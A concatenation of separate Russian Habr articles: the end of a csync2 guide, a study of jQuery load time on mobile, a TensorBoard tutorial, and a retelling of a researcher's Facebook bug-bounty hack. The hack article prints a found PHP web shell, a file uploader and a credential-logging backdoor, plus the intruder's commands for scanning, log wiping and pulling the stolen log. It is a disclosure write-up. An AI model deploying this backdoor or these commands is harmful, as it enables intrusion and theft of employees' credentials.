Других проблем у меня не возникало, если у вас что-то иное — пишите, разберёмся.
#### Вкусности
Синхронизация всех нужных конфигов это классно, я положил в csync2 конфиги от mysql, php, nginx и так далее. Очень удобным оказалось положить конфиг от csync2 в сам csync2 (почти рекурсия).
Но просто синхронизировать файлы — это далеко не всё.
После изменения файлов nginx, его же надо перезагрузить! А если это надо сделать на ста машинах?
В группу серверов с одинаковой ролью, на которых установлен nginx добавляем:
`group lb {
host lb1;
host lb2;
key /etc/csync2.cluster.key;
include /etc/nginx; # какие файлы синхронизировать между этими серверами
action {
pattern /etc/nginx/*; # Какие файлы должны измениться, чтобы выполнилась команда?
exec "/etc/init.d/nginx **reload**"; # Что за команду запустить?
logfile "/var/log/csync2.actions.log"; # Куда записать вывод?
do-local; # Если указана эта директива, то команду выполнит и тот хост, на котором изначально изменился файл, а не только тот, который получил изменения
}
auto younger;
}`
Замечательный пункт **action** позволяет нам выполнить произвольную bash команду после изменений в тех или иных файлах, в указанном примере он перезагрузит nginx.
Обращаю внимание, что выполняется команда **reload**, а не **restart**. Если, не дай Бог, вы не поставите запятую в конфиге nginx и он упадёт на ста машинах, вы также быстро поправите ошибку и на ста машинах он поправится. В принципе можно будет поменять конфиг csync2, но на это уйдёт драгоценное время downtime.
#### Заключение
Итак мы получили весьма безопасную возможность редактировать привычные нам конфиги без всяких ухищрений, как если бы у нас был всего один сервер, а изменения переливать на N других серверов.
Отмечу, что у csync2 нет головного сервера, поэтому изменения можно вносить на любую ноду и после запуска csync2 -x изменения выльются на остальные.
Я синхронизирую через csync2 не только конфиги, но собственно сами файлы проекта, часть которых загружается пользователями, поэому просто поместил csync2 в крон (догатайтесь на скольких нодах я это делал? верно, на одной и один раз! (: )
###### Примочки:
На днях я положил в csync2 файл **authorized\_keys** и теперь со своей машины захожу на любую ноду без ввода пароля. Это здорово, когда пароли на всех нодах сложные и разные. А ещё можно скопировать на свой компьютер файл **hosts** и ходить на ноды по их внутренним именам.
Поверьте, когда вы устанавливаете, настраиваете и отлаживаете кластер даже из семи, как у меня машин, это сэкономит вам тонну времени.
##### Немного об устройстве
Работает csync2 очень просто. Список всех файлов, которые вы синхронизируете хранится в локальной sqlite базе и сверяется по timestamp. Хранить там сотни гигабайт файлов не получится, но мои 5-6 Gb, разбросанных по нескольким десяткам тысяч файлов он раскидывает весьма успешно. Если у вас файлов больше, не ставьте csync2 в частый крон, он поназапускает кучу копий и серверы начнут тормозить. Базу csync2 можно чистить и вообще проводить с ней всяческие манипуляции. В документации к программе (ссылка чуть ниже) также указана структура используемой БД, так что простор для творчества здесь велик.
##### Аналоги
Существуют системы, позволяющие нодам подгружать удалённые конфиги. Мне они не понравились, но если вы каждый день меняете машины в кластере, вам стоит на них взглянуть: [Chef](http://wiki.opscode.com/display/chef/Home), [Puppet](http://www.puppetlabs.com/).
============================
Полезные ссылки:
Документация к csync2 ([PDF](http://oss.linbit.com/csync2/paper.pdf))
Официальный сайт csync2: <http://oss.linbit.com/csync2/> | https://habr.com/ru/post/120702/ | null | ru | null |
# jQuery для мобильных устройств, все за и против
Это довольно вольный перевод [статьи](http://modernweb.com/2014/03/10/is-jquery-too-big-for-mobile/), которая попалась мне на просторах интернета. Её автор — TJ VanToll. Он уже много лет занимает веб-разработкой и, в частности, оптимизацией сайтов для большей производительности на мобильных телефонах. Под катом рассмотрены несколько способов оптимизации, а так же приведены результаты тестирования на различных устройствах.
### Стоит ли использовать jQuery для мобильных устройств?
Мне часто задают этот вопрос, но за все это время не было проведено ни одного исследования, которое могло бы это объяснить. О библиотеке jQuery часто говорят, что она «большая» и «раздутая», но эти понятия относительны, они ничего не доказывают без экспериментального подтверждения. Правильно было бы задавать этот вопрос так: «Влияют ли размеры jQuery настолько сильно, чтобы мы могли отказаться от использования этой библиотеки в ущерб функциональности?». Чтобы ответить на этот вопрос, мы должны определить скорость загрузки библиотеки на мобильное устройство. Эта статья посвящена как раз этому вопросу, но с начала нам необходимо разобраться в том, что происходит внутри тега <script>.
#### Тег <script>
```
<script src="jQuery.js"></script>
```
Все мы видели этот код большое количество раз, но что происходит в браузере, когда он видит эту строку? На самом деле, происходит много событий, но нас интересуют лишь два наиболее важных процесса.
* Получение файла (тут есть два варианта: из кэша или из сети);
* Парсинг и выполнение скрипта.
Давайте разберем каждый из этих пунктов по отдельности.
#### Загрузка jQuery
Для наиболее лучшего результата сделаем предположение, что пользователь попадает на ваш сайт в первый раз и, соответственно, у него нет никаких данных в кэше. Когда у браузера нет данных в кэше, он вынужден скачивать все файлы с сервера. Попробуем измерить время такой загрузки, на нее влияют два фактора: пропускная способность и задержка.
#### Пропускная способность.
Пропускная способность — это скорость, с которой браузер может скачать файл с сервера, чаще всего измеряется в Мбит.
В 2012 году средняя скорость мобильных сетей по всему миру варьировалась от ~2 Мбит в некоторых азиатских странах до ~1 Мбит в России и Индии. Конечно, эти данные немного устарели, новые сети обещают большую скорость, например:
* Virgin Mobile утверждает, что её сеть 4G имеет скорость загрузки 3-6 Мбит;
* Verizon Wireless утверждает, что её сеть 4G имеет скорость загрузки 5-12 Мбит;
* LTE сети предлагают скорость ~6.5 Мбит в США и ~24.5 Мбит в Австралии.
Так как эта статья о jQuery, давайте использовать эти цифры, чтобы определить, как долго загружается jQuery. Мы основываемся на сжатой версии библиотеки 2.1.0, которая весит 28.65 КБ.
Сеть со скоростью загрузки 1 Мбит может скачивать 125 КБ в секунду, это означает, что за одну секунду вы можете скачать jQuery 4.36 раза. Или говоря более конкретным языком:
* 229мс, чтобы загрузить на самой плохой скорости (1 Мбит);
* 46мс, чтобы загрузить на средней скорости (5 Мбит)
* 19мс, чтобы загрузить на высокой скорости (12 Мбит).
Позже мы вернемся к этим вычислениям, но, согласитесь, это уже более менее конкретная информация? Но на самом деле пропускная способность сети — не самая главная проблема мобильной веб-произвоительности. Например, Илья Григорик (Google) заметил, что при переходе из сети со скоростью 5 Мбит на сеть со скоростью 10 Мбит время загрузки сокращается всего на 5%.
Итак, мы выяснили что пропускная способность сети не является узким местом, тогда в чем причина?
#### Задержка
В контексте веб-приложений задержка — это время, необходимое для того, чтобы соединиться с сервером. Задержка обычно измеряется в RTT (Round Trip Time) — это время, за которое сигнал достигает сервера и возвращается обратно клиенту.
Исторически так сложилось, что мы не сильно беспокоились о времени задержки на персональных компьютерах, так как RTT мало, порядка 50мс. Но с мобильными телефонами нам повезло меньше. В 2012 году среднее время RTT мобильных сетей в США было около 344мс. И это время задержки не только HTTP запросов, которое сейчас составляет 93мс, но так же и каждого DNS и TCP запроса.
Сейчас средний показатель RTT несколько улучшился. Virgin Mobile объявляет, что средняя задержка в сети 4G теперь составляет ~150мс. Пока что средние показатели задержки улучшаются, но существует проблема, связанная с конечным пределом скорости передачи, что не дает нам свести задержку к минимуму.
Но во всем этом есть и светлая сторона. Помните, мы говорили о том, что есть простой способ избежать больших задержек при использовании jQuery: вместо того, чтобы загружать библиотеку отдельным файлом, вложите содержимое в файл вашего скрипта и загружайте их вместе! Так, как показано ниже:
```
```
Это простое изменение сводит на нет задержку, возникающую при отдельной загрузке jQuery в ваше приложение. Это же можно осуществить и при загрузке библиотеки из внешнего CDN. Из-за фрагментации у CDN-провайдеров шансы на использование кэш-памяти CDN являются низкими — и загрузка с сервера может выполняться в несколько шагов (DNS поиск, подключение TCP, и отправка GET-запроса HTTP).
Ранее мы вычислили время, необходимое для скачивание файла jQuery из сети. Получается, что мы можем загрузить файл за 50мс, используя сети среднего качества, если избежим задержки, загружая объединенный файл JavaScript. Но, скачав файл, браузер его обрабатывает. Давайте рассмотрим этот момент более подробно.
#### Парсинг и выполнение скрипта
После того, как браузер скачал файл, он должен превратить код на JavaScript в байт-код и выполнить его. Этот процесс довольно сложный и если попытаться рассмотреть его детально, то мы выйдем далеко за рамки этой статьи; нас интересует другое.
Так сколько же времени занимает этот процесс?
Я написал простой тест для того, чтобы узнать, сколько времени занимает парсинг и выполнение скрипта.
```
var start = new Date();
/\* jQuery's minified source code in its entirety \*/
alert( new Date() - start );
```
Я экспериментировал с console.time() и console.timeEnd(), но не использовал их, потому что они не поддерживаются в более старых мобильных браузерах. В браузерах, которые поддерживали эти методы, я получил почти идентичный результат предложенному ранее.
Для того, чтобы выделить время парсинга и выполнения, я записал jQuery как инлайн скрипт (т.е. непосредственно вставленный код в html разметку). Результаты выполнения в различных браузерах показаны ниже.
| Браузер | ОС | Время парсинга/выполнения jQuery 2.1.0 (в мс) |
| --- | --- | --- |
| IE 11 | Windows 8.1 | 18, 21, 14, 16, 15 |
| Chrome 33 | OS X 10.9.2 | 15, 8, 5, 7, 6 |
| Safari 7 | OS X 10.9.2 | 9, 5, 3, 3, 2 |
| Firefox 27 | OS X 10.9.2 | 12, 12, 11, 12, 12 |
| Safari | iOS 7 | 178, 125, 44, 87, 96 |
| Default Android | Android 2.2 | 1184, 268, 299, 216, 422 |
| Default Android | Android 4.0 | 603, 465, 106, 145, 243 |
| Chrome 33 | Android 4.4 | 219, 86, 38, 86, 123 |
| Firefox 27 | Android 4.4 | 269, 367, 400, 381, 264 |
Тесты десктопного браузера были проведены на MacBook Pro, испытания мобильных браузеров я проводил на подручных устройствах. Я не очищал кэш-браузера между загрузками, я просто несколько раз нажал на кнопку «Обновить». Это привело к интересным результатам: браузеры на WebKit (Chrome, Safari) при первой загрузке сохраняют данные в кэш и скорость при последующих загрузках значительно выше, в тоже время браузеры на Trident (IE) и Gecko (FireFox) так не делают. Если какие-нибудь разработчики этих движков читают эту статью, я бы хотел по подробней узнать детали парсинга. Так же если у вас есть другие предложения, как вычислить время, прошу поделиться ими в комментариях.
Все браузеры для настольных ПК — IE, Chrome, Safari и Firefox — с легкостью справились с этой задачей. Даже IE показал довольно хороший средний результат ~17мс.
Но мобильные браузеры показали совсем другой результат. В то время как Mobile Safari на iOS7 и Chrome на Android справились с этой задачей достойно. Стандартный браузер на Android показал очень плохие результаты. Мой первый запуск этого теста на моем Android 2.2 занял целую секунду. И хотя у меня не было большого разнообразия устройств для проверки, я подозреваю, что на многих других устройствах результаты будут еще хуже.
На мой взгляд, такой медленный парсинг и выполнение скриптов на мобильных браузерах, в особенности на стандартных браузерах Android — это большой плюс в копилку тех, кто предпочитает использовать маленькие библиотеки JavaScript, вместо jQuery.
Однако в нашем тесте прослеживаются и хорошие моменты. Здесь налицо закон Мура, явно заметна разница между Android 2.2 и Android 4.0, и скорее всего такая тенденция будет прослеживаться и дальше.
Подведем итоги, так ли страшен размер jQuery как о нем говорят?
Итак, мы рассмотрели все необходимые показатели, влияющие на скорость загрузки, пришло время ответить на этот вопрос. Как и любой ответ на вопрос, касающийся разработки программного обеспечения, наш ответ зависит от конкретной ситуации. Давайте начнем с обобщения всех полученных данных.
Время загрузки jQuery 2.1.0 размером 28.56КБ занимает:
* 229мс при скачивание в плохих сетях со скоростью 1Мбит;
* 46мс при скачивание в нормальных сетях со скоростью 5Мбит;
* 19мс при скачивание в хороших сетях со скоростью 12Мбит.
Время задержки при загрузке jQuery 2.1.0 составляет:
* 0мс если вы вложили содержимое библиотеки в файл вашего скрипта;
* 150-1000мс если вы загружаете библиотеку отдельным файлом.
Парсинг/Исполнение jQuery 2.1.0 занимает:
* 15-20мс для десктопного браузерах;
* ~270мс среднее время загрузки на всех исследуемых мобильных браузерах.
Эти цифры дают понять, что старые версии браузеров на Android 2.2 могут добавить нам лишнюю секунду на загрузку. Это необходимо учитывать при разработке, опираясь на целевую аудиторию, т.к. это может плохо повлиять на эффективность.
Я рекомендую вам изучать статистику и знать свою аудиторию. Если процент посещений со старых мобильных браузеров высок, возможно, следует отказаться от использования jQuery. Но имейте в виду, что дело тут уже не в самой библиотеке, а во времени обработки кода JavaScript. Все зависит от конкретного приложения, может получится так, что jQuery будет грузиться быстрее, чем написанный вами код, тем более эта библиотека экономит ваше время. В конце концов девиз jQuery — пиши меньше, делай больше.
Но давайте вернемся к цифрам. Из приведенных выше данных следует, что в среднем загрузка jQuery из сети займет ~50мс, плюс время синтаксического анализа ~250мс. Давайте докажем, что время это деньги. Рассмотрим для примера Amazon. Там утверждают, что из-за каждых 100мс задержки при загрузке страницы на amazon.com они теряют 1% продаж. Несложно подсчитать, что подключенная библиотека jQuery стоит им 3% продаж. Это звучит ужасно, но следует рассмотреть и положительные моменты, так как при использовании jQuery улучшается производительность и функциональность сайта, достаточная, чтобы покрыть 3-х процентную потерю продаж.
Так же необходимо понимать, что библиотека состоит из модулей. Следовательно, если вас не устраивает скорость загрузки, вы легко можете удалить ненужные модули, оставив только необходимые. Но прежде чем это делать, давайте рассмотрим другие проблемы.
#### У вас наверняка есть еще много способов повысить эффективность ваших приложений
По данным [HTTP archive](http://httparchive.org/trends.php), средняя веб-страница:
* Весит более 1.7МБ;
* Создает более 90 HTTP запросов;
* Имеет больше 275КБ скриптов на JavaScript;
* Создает 17 HTTP запросов только на один JavaScript;
* Включает в себя 1МБ изображений;
* Всего 46% страницы содержится в кэше.
Поэтому прежде всего необходимо обращаться внимание на следующие вещи.
* Необходимо минимизировать CSS/JS;
* Объединить все файлы CSS/JS в один;
* Использовать специальные средства для компрессии HTML/CSS/JS документов;
* Сжимать изображения;
* Позволять браузеру сохранять файлы в кэш;
* Удалить ненужные HTTP запросы.
Зачастую удалением нескольких изображений можно достичь гораздо больших результатов, чем удалением jQuery. Если вы выполнили некоторую оптимизацию, но все еще испытываете проблемы с производительностью на мобильных устройствах, и думаете об удалении jQuery — просто проверьте, сделали ли вы все возможное, или же еще остались другие способы? | https://habr.com/ru/post/247029/ | null | ru | null |
# «Cделать красиво». Визуализация обучения с Tensorboard от Google
Красота, как известно, требует жертв, но и мир обещает спасти. Достаточно свежий (2015г) визуализатор от Google призван помочь разобраться с процессами, происходящими в сетях глубокого обучения. Звучит заманчиво.
Красочный интерфейс и громкие обещания затянули на разбор этого дизайнерского шайтана, с неинтуитивно отлаживающимися глюками. API непривычно скудный и часто обновляющийся, примеры в сети однотипны (глаза уже не могут смотреть на [заезженный MNIST](https://github.com/aymericdamien/TensorFlow-Examples/blob/master/examples/4_Utils/tensorboard_basic.py)).
Чтобы опыт не прошел зря, решила поделиться максимально простым описанием инсайтов с хабравчанами, ибо рускоязычных гайдов мало, а англоязычные все как на одно лицо. Может, такое введение поможет вам сократить время на знакомство с Tensorboard и количество ругательных слов на старте. Также буду рада узнать, какие результаты он дал в вашем проекте и помог ли в реальной задаче.
Дабы не повторяться лиший раз, поднимать тему работы с Tensorflow как таковым не буду, об этом можно почитать например [тут](https://habrahabr.ru/post/326650/), а [здесь](https://habrahabr.ru/post/305578/) в конце даже посмотреть на пример использования Tensorboard. Повествование будет вестись с предположением, что концепция графа операций, используемого в Tensorflow, вам уже знакома.
[Официальный Guide Tensorboard](https://www.tensorflow.org/programmers_guide/summaries_and_tensorboard) содержит, на самом деле, все, что требуется, так что если вы привыкли работать с кратким описанием и подхватываете идеи на лету — можете переходить по ссылке и использовать инструкции разработчиков. Мне с наскока их осознать и применить не удалось.
### Общий принцип записи логов
Вытащить параметры работы сети, выстроенной в TensorFlow(TF), очень непросто. TensorBoard(TB) выступает как инструмент в этой задаче.
TF умеет собирать, можно сказать, в «коробки» — ***summary***, данные, которые нам и отображает TB. Причем, существует несколько видов этих «коробок» для разных типов данных.
— **tf.summary.scalar** Сюда можно класть любые числовые значения, например, функции потерь на каждой (или не каждой) эпохе обучения. Отображение в TB будет в виде привычного графика *x(n)*.
— **tf.summary.image** Собирает изображения.
— **tf.summary.audio** Собирает любые аудиофайлы.
— **tf.summary.text** Собирает текстовые данные.
— **tf.summary.histogram** Собирает набор значений и в TB отображает «слоистые» гистограммы распределения этих значений, по каждому шагу записи. Хорошо для хранения данных весов, можно отслеживать изменения их величин на каждой эпохе обучения.
В качестве аргумента задается название «коробки» и переменная, из которой будет забираться значение. Например:
```
tf.summary.scalar('loss_op', loss_op)
```
В моей задаче были актуальны типы scalar и histogram.
**Как выглядит scalar и histogram**Точность на тренинговой выборке и функция потерь. Жирным рисуется сглаженный график (степень сглаживания задает пользователь бегунком), бледно — оригинальные данные.
Гистограммы весов трех слоев, для двух величин Learning rate (0.001 и 0.0001).
Чтобы не пополнять по отдельности каждую «коробку» в явном виде, используйте ***merge\_all()*** , собирав их таким образом в одну кучу и получая нужные данные по всем «коробкам» за раз.
```
tf.summary.scalar('loss_op', loss_op) #делаем "коробку" под функцию потерь.
tf.summary.scalar('accuracy', accuracy) #под точность
tf.summary.histogram('Biases1',biases['h1']) #под смещения первого слоя(они берутся из словаря по ключу h1)
tf.summary.histogram('Weights1',weights['h1']) #под веса первого слоя
"""
...
в общем,задаем все необходимые summaries
...
"""
merged_summary_op = tf.summary.merge_all() #и сливаем в единый набор "коробок"
```
Естественно, упомянутые *accuracy*, *loss\_op*, *biases* и *weights* объявляются отдельно как участники текущего графа операций.
Далее *merged\_summary\_op* просто активизируется в нужные моменты во время исполнения сессии. Например, при запуске обучения:
```
[_, _, sum_result] = sess.run([train_op, loss_op,merged_summary_op], feed_dict={X: batch_x_norm, Y: batch_y}) #запускаем обучение, на выходе нас ничего не интересует, кроме содержимого для "коробок", которое отдается в sum_result
summary_writer.add_summary(sum_result, i) #записываем результат в логи, i-номер степа обучения
```
Как вы заметили, запись результата в файл происходит с помощью (простите за уменьшительно-ласкательное, но альтернативы я не смогла придумать) «записывалки» ***summary\_writer*** и ее функции *add\_summary*. «Записывалка» объявляется заранее, в аргументах указывается путь к папке с логами. Создание нескольких writer-ов удобно использовать для разнесения результатов на тестовой и тренинговой выборках, об этом подробнее расскажу в следующей статье. Плюс ко всему можно добавлять в логи значения используемых гиперпараметров (типа learning rate, вид функции активации, количесто слоев и тд. Боле подробно про то, как задавать гиперпараметры и можно посмотреть [тут](https://github.com/leejaymin/TensorFlowLecture/blob/master/7.TensorBoard/mnist.py) ), коротые будут также отображаться в TB.
```
Log_Dir="logs/outputNew/myNet" #директория к логам в рабочей папке
hparam= "LR_%s,h1_%s,h2_%s,h3_%s" % (learning_rate,n_hidden_1,n_hidden_2,n_hidden_3) #при отображение графика будет выведено название с указанными гиперпараметрами
summary_writer= tf.summary.FileWriter(Log_Dir+hparam)
summary_writer_train.add_graph(sess.graph)#и обязательно добавляем в наш writer граф операций текущей сессии для отображения в TB структуры графа
```
Запуск визуализатора TB производится с помощью команды (конечно, через консоль):
```
tensorboard --logdir='Log_Dir'
```
Так что прогнав сессию, обучив сеть и собрав все нужные данные в логи, можно наконец посмотреть их в браузере, зайдя на localhost:6006. Думаю, вы и сами разберетесь с разными форматами отображения: хотя бы это у TB действительно интуитивно понятно. А о том, как удобно выводить графики по группам (гиперпараметров, например), использовать теги, расскажу в следующей статье.
Итак, в целом **процесс подготовки почвы для TB** (опуская особенности построения графа операций с TF, конечно, сейчас не об этом) выглядит примерно так:
1. Формируем *граф операций*, следуя принципам работы с TF
2. Создаем *«коробки»*-summary под данные, которые хотим собирать в логи
3. *Сливаем* все «коробки» с помощью merge\_all()
4. Задаем «записывалку» *summary\_writer*, в которой указываем путь для логов и сразу добавляем наш граф
5. Во время сессии *вызываем смёрженные* коробочки в run-e и *пишем результат* с помощью summary\_writer
6. *Смотрим* результат в TB, скрестив пальцы
### Три проблемы, которые могут всплыть
**TB не видит логи**
Проверьте указанный к ним путь! Если не видит снова, еще раз перепроверьте! И так пока не заработает. Если в папке логов лежат файлы, то TB их не может увидеть лишь в случае неверной директории.
**Сильно заторможенное обновление графиков**
Для того, чтобы график отобразился в TB, приходится ждать до 15 минут. По началу я думала, что это какие-то проблемы с записью логов, но даже перезапуск TB не помогал решить проблему запоздалой подгрузки новых данных. Приходилось работать в режиме «пишем логи — ждем 10 минут — смотрим, что подгрузил TB». Винить в тормозах компьютор никогда не приходилось, так что корень проблемы где-то в другом месте. Интересно будет услышать, встретил ли кто-то еще этот глюк.
**Дублирование имен и данных**
Периодически у меня вылезало дублирование данных. Например могло возникнуть несколько видов точности или весов. Или что-то типа [такого](https://stackoverflow.com/questions/43987555/cumulative-scalar-in-hyperparameter-search-with-tensorbord) , причем эту проблему разрешить не удалось, так как неясно происхождение дубликатов. Призываю быть аккуратнее с присвоением имен — это иногда помогает (в графе операций и в summary) и анализом итоговых графиков. Иногда там оказывается не то, что хотелось бы.
Далее планирую осветить вопрос разделения writer-ов для тестовой и тренинговой выборок, а также какие есть варианты режимов отображения нагенерированой кучи логов.
В рабочем проекте по классификации участков временного ряда результата лучше, чем простая лог.регресия, нейронки не дали, как я ни пыталась пробовать разные конфигурации. Но инструмент освоен, а значит может принести плоды в дальнейшем.
Stay tuned!
P.S. В нашей компании «Инкарт» есть открытые вакансии для мозговитых программистов и электронщиков, а еще есть свой повар, классные корпоративы и офис на берегу озера. Мы разрабатываем и производим кардиореспираторные мониторы, которыми пользуются большинство кардиологов России. Постоянно совершенствуем алгоритмы обработки и железную часть дела. Свободные умы из Петербурга — пишите в личные сообщения за подробностями. | https://habr.com/ru/post/349338/ | null | ru | null |
# Как я взломал Facebook и обнаружил чужой бэкдор
Исследователь по безопасности Orange Tsai взломал один из серверов Facebook и обнаружил бэкдор для сбора учетных записей сотрудников компании, оставленный злоумышленником.
Как пишет исследователь в своем блоге, его всегда больше привлекали сервер-сайд атаки, нежели клиент-сайд (XSS и т.д).
В 2012 году Facebook запустил BugBounty программу, которая побудила исследователя принять участие в поиске уязвимостей на серверах этой популярной социальной сети.
В первую очередь проводится этап разведки и сбора информации, или т.н. recon по объекту атаки.
Исследователь поставил себе несколько целей:
* Что можно обнаружить с помощью запросов Google Hacking?;
* Сколько используется подсетей класса B и C?;
* Whois, reverse-ip и axfr запросы;
* Используемые доменные имена, поддомены;
* Программное и техническое оснащение оборудования (вендоры, версии ПО и т.д.);
* Возможные утечки исходных кодов на сервисах Github или Pastebin
* И т.д.
BugBounty программа обычно имеет четкие границы и ограничения, но тем не менее, исследователь решил поискать на сетевом периметре уязвимые сервисы, возможно и не входящие в скоуп BugBounty, но тем не менее напрямую влияющие на безопасность инфраструктуры самой популярной в мире социальной сети.
Используя технику reverse whois им был обнаружен интересный домен — tfbnw.net. По данному названию он предположил что имеет дело с TheFacebook Network.
На этом домене располагался поддомен vpn.tfbnw.net, на котором находился веб-интерфейс Juniper SSL VPN. К сожалению исследователя эта версия не содержала публичных уязвимостей. Тем не менее, исследовав эту подсеть C-класса он обнаружил несколько интересных сервисов:
* Mail Server Outlook Web App;
* F5 BIGIP SSL VPN;
* CISCO ASA SSL VPN;
* Oracle E-Business;
* MobileIron MDM;
Также, среди этих IP-адресов был обнаружен сервер files.fb.com. Судя по футеру веб-приложения использовался Accellion’s Secure File Transfer (также известный под аббревиатурой FTA):
FTA является продуктом, который обеспечивает безопасную передачу файлов, общий доступ к файлам и синхронизации, а также интеграцию с механизмами входа в систему, включая AD, LDAP и Kerberos. Версия Enterprise поддерживает службы SSL VPN.
Исследователь попытался найти актуальный публичный эксплоит для этой уязвимости и обнаружил упоминание об уязвимой версии 0.18 ([Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857](https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857)).
Версию можно определить запросом “/tws/getStatus”. На сайте была установлена последняя версия — 0.20, не содержащая вышеописанных уязвимостей.
Если не получилось найти уязвимости методом черного ящика — их можно попытаться найти белым. Исследователь скачал исходные коды FTA и приступил к поиску уязвимостей в этом продукте.
Исследовав приложение, было сделано несколько выводов:
* Веб-интерфейс представляет из себя комбинацию Perl и PHP;
* PHP был обфусцирован с помощью IonCube;
* Использовалось множество Perl-демонов.
В первую очередь исследователь попытался снять защиту IonCube, но используя публичные инструменты ему этого не удалось. Также, он предположил что Rapid7 обнаружили поверхностные уязвимости и копать надо гораздо глубже.
Результатом исследований FTA стало нахождение:
* 3 уязвимости класса XSS;
* Pre-Auth SQL-инъекция приводящая к удаленному выполнению кода (Remote Code Execution);
* Предиктивный secret-key, приводящий к удаленному выполнению кода (Remote Code Execution);
* 2 уязвимости, приводящие к локальному повышение привилегий (Local Privilege Escalation).
Помимо отправки сообщения об уязвмостях в Facebook Security Team, были отправлены соответствующие уведомления и вендору уязвимого ПО — компании Accellion. Уязвимостям присвоены следующие CVE:
* CVE-2016-2350
* CVE-2016-2351
* CVE-2016-2352
* CVE-2016-2353
(Больше деталей будет раскрыто после применения политики раскрытия/неразглашения уязвимостей).
Т.н. «залитие шелла» с помощью sql-injection:
После получения доступа к серверу исследователь выполнил вполне предсказуемые шаги по изучению серверного окружения для минимизации обнаружения. Им были обнаружены:
* Блокировка исходящих TCP и UDP соединений на порты 53, 80 и 443;
* Удаленный сервер Syslog;
* Включенный журнал auditd.
Несмотря на запрещающие правила фаервола для исходящих соединений исследователю удалось установить соединение с помощью ICMP-туннеля.
После того, как исследователю удалось установить приемлемый контроль над веб-сервером он обнаружил некоторые странные сообщения об ошибках в логах /var/opt/apache/php\_error\_log:
Исследовав сообщения об ошибках и перейдя в затронутые директории он обнаружил веб-шелл, оставленный предыдущим «посетителем».
Содержимое некоторых «интересных» файлов:
**sshpass**
```
Right, THAT sshpass
```
**bN3d10Aw.php**
```
php echo shell_exec($_GET['c']); ?
```
**uploader.php**
```
php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?
```
**d.php**
```
php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?
```
**sclient\_user\_class\_standard.inc**
```
php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = 0;
$max_retries = 100;
// blah blah blah...
fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");
// blah blah blah...
</code
```
В include\_once последнего файла содержится вызов «штатного» файла sclient\_user\_class\_standard.inc.orig для проверки пароля. Злоумышленник использовал модифицированный файл в качестве своеобразного прокси для сбора GET и POST запросов, значения COOKIES в plain-text.
Неизвестный злоумышленник формировал лог-файл, который без труда можно было получить со взломанного веб-сервера:
```
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
```
Пример перехваченной учетной записи:
C 1 по 7 февраля было перехвачено порядка 300 учетных записей пользователей "@fb.com" и "@facebook.com":
* Обычные пользователи — учетные записи хранятся в БД и шифруются «солёным» SHA256.
* Сотрудники Facebook (@fb.com) авторизуются по протоколу LDAP.
Данные, полученные злоумышленником могли привести к компрометации смежных сервисов (VPN, OWA и т.д.).
Исследователь отмечает, что действия злоумышленника были довольно небрежными, что говорит о его непрофессионализме.
Каждые несколько дней злоумышленник чистил логи:
```
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
```
Архивировал файлы:
```
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files
```
Исследовал внутреннюю сеть:
```
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
```
Использовал ShellScript для сканирования внутренней сети, но забыл перенаправить STDERR:
Пытался соединиться с LDAP-сервером:
```
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
```
Пытался получить прямой доступ к OWA:
```
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
```
Пытался украсть корневой ssl-сертификат:
```
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
